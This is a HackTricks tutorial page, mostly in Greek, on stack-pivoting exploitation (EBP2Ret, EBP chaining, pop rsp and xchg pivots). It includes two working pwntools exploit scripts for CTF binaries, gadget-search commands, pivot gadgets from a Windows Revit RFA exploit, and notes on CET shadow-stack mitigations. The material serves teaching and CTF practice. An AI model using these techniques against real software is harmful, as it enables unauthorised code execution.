Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται κανείς τον Δείκτη Βάσης (EBP/RBP) για να αλυσιδωθεί η εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών leave; ret
.
Ως υπενθύμιση, στο x86/x86-64 η εντολή leave
ισοδυναμεί με:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Και καθώς το αποθηκευμένο EBP/RBP βρίσκεται στο stack πριν από το αποθηκευμένο EIP/RIP, είναι δυνατό να το ελέγξεις ελέγχοντας το stack.
Σημειώσεις
- Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι ίδια.
- Ορισμένοι μεταγλωττιστές παραλείπουν το frame pointer (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το
leave
μπορεί να μην εμφανιστεί και αυτή η τεχνική δεν θα λειτουργήσει.
EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείς να αλλάξεις το αποθηκευμένο EBP/RBP αλλά δεν έχεις άμεσο τρόπο να αλλάξεις EIP/RIP. Εκμεταλλεύεται τη συμπεριφορά του function epilogue.
Αν, κατά την εκτέλεση του fvuln
, καταφέρεις να εγχύσεις ένα ψεύτικο EBP στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP chain σου (συν 8 bytes σε amd64 / 4 bytes σε x86 για να καλυφθεί το pop
), μπορείς να ελέγξεις έμμεσα το RIP. Καθώς η συνάρτηση επιστρέφει, το leave
θέτει το RSP στην κατασκευασμένη τοποθεσία και το επακόλουθο pop rbp
μειώνει το RSP, κάνοντας το στην ουσία να δείχνει σε μια διεύθυνση που έχει τοποθετήσει εκεί ο επιτιθέμενος. Έπειτα το ret
θα χρησιμοποιήσει εκείνη τη διεύθυνση.
Σημείωσε ότι πρέπει να γνωρίζεις 2 διευθύνσεις: τη διεύθυνση όπου θα πάει το ESP/RSP, και την τιμή αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το ret
.
Exploit Construction
Πρώτα πρέπει να γνωρίζεις μια διεύθυνση όπου μπορείς να γράψεις αυθαίρετα δεδομένα/διευθύνσεις. Το RSP θα δείξει εκεί και θα καταναλώσει το πρώτο ret
.
Έπειτα, πρέπει να επιλέξεις τη διεύθυνση που θα χρησιμοποιήσει το ret
για να μεταφέρει την εκτέλεση. Μπορείς να χρησιμοποιήσεις:
- A valid ONE_GADGET address.
- Τη διεύθυνση του
system()
ακολουθούμενη από το κατάλληλο return και arguments (σε x86:ret
target =&system
, then 4 junk bytes, then&"/bin/sh"
). - Τη διεύθυνση ενός
jmp esp;
gadget (ret2esp) ακολουθούμενη από inline shellcode. - Έναν ROP chain τοποθετημένο σε εγγράψιμη μνήμη.
Θυμήσου ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει χώρος για το pop ebp/rbp
από το leave
(8B σε amd64, 4B σε x86). Μπορείς να εκμεταλλευτείς αυτά τα bytes για να θέσεις ένα δεύτερο ψεύτικο EBP και να διατηρήσεις τον έλεγχο μετά την επιστροφή της πρώτης κλήσης.
Off-By-One Exploit
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείς να τροποποιήσεις μόνο το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP. Σε μια τέτοια περίπτωση, η θέση μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει το άλμα με ret
πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την αναδρομολογήσει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο πιο μακριά γίνεται μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Επίσης είναι συνηθισμένο να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP chain στο τέλος, ώστε να είναι πιο πιθανό ότι το νέο RSP θα δείξει μέσα στο sled και η τελική ROP chain θα εκτελεστεί.
EBP Chaining
Τοποθετώντας μια ελεγχόμενη διεύθυνση στο αποθηκευμένο slot EBP
του stack και ένα leave; ret
gadget στο EIP/RIP
, είναι δυνατό να μετακινήσεις το ESP/RSP
σε μια διεύθυνση ελεγχόμενη από τον επιτιθέμενο.
Τώρα το RSP
είναι ελεγχόμενο και η επόμενη εντολή είναι ret
. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι σαν:
&(next fake EBP)
-> Φορτώνεται από τοpop ebp/rbp
τουleave
.&system()
-> Καλείται από τοret
.&(leave;ret)
-> Μετά το τέλος τουsystem
, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει.&("/bin/sh")
-> Όρισμα για τοsystem
.
Με αυτόν τον τρόπο είναι δυνατό να αλυσοδέσεις αρκετά ψεύτικα EBP για να ελέγξεις τη ροή του προγράμματος.
Αυτό μοιάζει με ένα ret2lib, αλλά πιο πολύπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις.
Επιπλέον, εδώ έχεις ένα example of a challenge που χρησιμοποιεί αυτή την τεχνική με ένα stack leak για να καλέσει μια winning function. Αυτό είναι το τελικό payload από τη σελίδα:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: Το System V ABI απαιτεί 16-byte στοίχιση της στοίβας στα call sites. Αν το chain σας καλεί συναρτήσεις όπως
system
, προσθέστε ένα alignment gadget (π.χ.,ret
, ήsub rsp, 8 ; ret
) πριν την κλήση για να διατηρήσετε τη στοίχιση και να αποφύγετε crashes απόmovaps
.
EBP μπορεί να μην χρησιμοποιείται
Όπως εξηγείται σε αυτή την ανάρτηση, εάν ένα binary είναι compiled με κάποιες βελτιστοποιήσεις ή με frame-pointer omission, το EBP/RBP δεν ελέγχει ποτέ το ESP/RSP. Επομένως, οποιοδήποτε exploit που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή το prologue/epilogue δεν επαναφέρει από το frame pointer.
- Όχι βελτιστοποιημένο / χρησιμοποιείται frame pointer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Βελτιστοποιημένο / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 you’ll often see pop rbp ; ret
instead of leave ; ret
, but if the frame pointer is omitted entirely then there’s no rbp
-based epilogue to pivot through.
Άλλοι τρόποι ελέγχου του RSP
pop rsp
gadget
In this page μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτήν την τεχνική. Για εκείνο το challenge χρειαζόταν να κληθεί μια συνάρτηση με 2 συγκεκριμένα ορίσματα, και υπήρχε ένα pop rsp
gadget και υπάρχει ένα leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Δείτε την τεχνική ret2esp εδώ:
Γρήγορη εύρεση pivot gadgets
Χρησιμοποιήστε το αγαπημένο σας gadget finder για να αναζητήσετε κλασικά pivot primitives:
leave ; ret
σε συναρτήσεις ή σε βιβλιοθήκεςpop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ήadd esp, <imm> ; ret
σε x86)
Παραδείγματα:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Κλασικό pivot staging pattern
Μια αξιόπιστη pivot στρατηγική που χρησιμοποιείται σε πολλά CTFs/exploits:
- Χρησιμοποίησε ένα μικρό αρχικό overflow για να καλέσεις
read
/recv
σε μια μεγάλη εγγράψιμη περιοχή (π.χ.,.bss
, heap, ή mapped RW memory) και τοποθέτησε εκεί μια πλήρη ROP chain. - Επέστρεψε σε ένα pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) για να μεταφέρεις το RSP σε εκείνη την περιοχή. - Συνέχισε με την staged chain (π.χ., leak libc, κάλεσε
mprotect
, μετάread
shellcode, και μετά κάνε jump σε αυτό).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Οι client-side parsers μερικές φορές υλοποιούν destructor loops που καλούν έμμεσα ένα function pointer προερχόμενο από attacker-controlled object fields. Αν κάθε επανάληψη προσφέρει ακριβώς μία indirect call (ένα “one-gadget” machine), μπορείς να το μετατρέψεις σε ένα αξιόπιστο stack pivot και ROP entry.
Παρατηρήθηκε στην Autodesk Revit RFA deserialization (CVE-2025-5037):
- Κατασκευασμένα αντικείμενα τύπου
AString
τοποθετούν έναν pointer προς attacker bytes στη μετατόπιση 0. - Το destructor loop εκτελεί ουσιαστικά ένα gadget ανά αντικείμενο:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Δύο πρακτικές pivots:
- Windows 10 (32-bit heap addrs): μη ευθυγραμμισμένο “monster gadget” που περιέχει
8B E0
→mov esp, eax
, και τελικάret
, για pivot από το call primitive σε ένα heap-based ROP chain. - Windows 11 (full 64-bit addrs): χρησιμοποιήστε δύο objects για να οδηγήσετε ένα constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(μετακινεί το αρχικό rax στο rbp) - Gadget 2:
leave ; ... ; ret
(γίνεταιmov rsp, rbp ; pop rbp ; ret
), pivoting στο buffer του πρώτου αντικειμένου, όπου ακολουθεί μια συμβατική ROP chain.
Συμβουλές για Windows x64 μετά το pivot:
- Σεβάσου το 0x20-byte shadow space και διατήρησε 16-byte στοίχιση πριν από σημεία
call
. Συχνά είναι βολικό να τοποθετείς literals πάνω από τη διεύθυνση επιστροφής και να χρησιμοποιείς ένα gadget όπωςlea rcx, [rsp+0x20] ; call rax
ακολουθούμενο απόpop rax ; ret
για να περάσεις στοίβες διευθύνσεων χωρίς να καταστρέψεις τη ροή ελέγχου. - Non-ASLR helper modules (αν υπάρχουν) παρέχουν σταθερές pools από gadgets και imports όπως
LoadLibraryW
/GetProcAddress
για να επιλύεις δυναμικά στόχους όπωςucrtbase!system
. - Δημιουργία λείποντων gadgets μέσω writable thunk: αν μια υποσχόμενη ακολουθία τελειώνει σε
call
μέσω writable function pointer (π.χ., DLL import thunk ή function pointer στο .data), αντικατάστησε αυτόν τον pointer με ένα ακίνδυνο single-step όπωςpop rax ; ret
. Η ακολουθία τότε συμπεριφέρεται σαν να τελείωσε μεret
(π.χ.,mov rdx, rsi ; mov rcx, rdi ; ret
), κάτι που είναι ανεκτίμητο για να φορτώσεις τους Windows x64 arg registers χωρίς να καταστρέψεις άλλους.
Για πλήρη κατασκευή chain και παραδείγματα gadgets, δείτε την αναφορά παρακάτω.
Σύγχρονες μετριάσεις που σπάνε το stack pivoting (CET/Shadow Stack)
Τα σύγχρονα x86 CPUs και OSes υιοθετούν όλο και περισσότερο το CET Shadow Stack (SHSTK). Με το SHSTK ενεργοποιημένο, το ret
συγκρίνει τη διεύθυνση επιστροφής στην κανονική στοίβα με μια hardware-protected shadow stack· οποιαδήποτε ασυμφωνία προκαλεί Control-Protection fault και τερματίζει τη διεργασία. Επομένως, τεχνικές όπως EBP2Ret/leave;ret-based pivots θα προκαλέσουν crash μόλις εκτελεστεί το πρώτο ret
από μια pivoted στοίβα.
- Για υπόβαθρο και πιο αναλυτικές λεπτομέρειες δείτε:
- Γρήγοροι έλεγχοι σε Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Σημειώσεις για labs/CTF:
-
Ορισμένα σύγχρονα distros ενεργοποιούν το SHSTK για CET-enabled binaries όταν υπάρχει υποστήριξη στο hardware και τη glibc. Για ελεγχόμενες δοκιμές σε VMs, το SHSTK μπορεί να απενεργοποιηθεί συστημικά μέσω του kernel boot parameter
nousershstk
, ή να ενεργοποιηθεί επιλεκτικά μέσω glibc tunables κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε mitigations σε παραγωγικούς στόχους. -
Τεχνικές βασισμένες σε JOP/COOP ή SROP μπορεί να είναι ακόμα εφικτές σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει
ret
-based pivots. -
Σημείωση για Windows: Windows 10+ εκθέτει user-mode και τα Windows 11 προσθέτουν kernel-mode “Hardware-enforced Stack Protection” βασισμένο σε shadow stacks. CET-compatible processes εμποδίζουν stack pivoting/ROP στο
ret
; οι developers ενεργοποιούν μέσω CETCOMPAT και σχετικών policies (βλ. αναφορά).
ARM64
In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP register in the stack. Moreover, the RET
instruction doesn't return to the address pointed by SP, but to the address inside x30
.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30
register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Ο τρόπος για να κάνεις κάτι ανάλογο με stack pivoting σε ARM64 είναι να μπορείς να ελέγξεις το SP
(ελέγχοντας κάποιο register της τιμής του οποίου περνάει στο SP
ή επειδή για κάποιο λόγο το SP
παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε overflow) και στη συνέχεια να εκμεταλλευτείς τον επίλογο για να φορτώσεις τον καταχωρητή x30
από ένα ελεγχόμενο SP
και να κάνεις RET
σε αυτό.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
Αναφορές
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk
,/proc/$PID/status
flags, and enabling viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.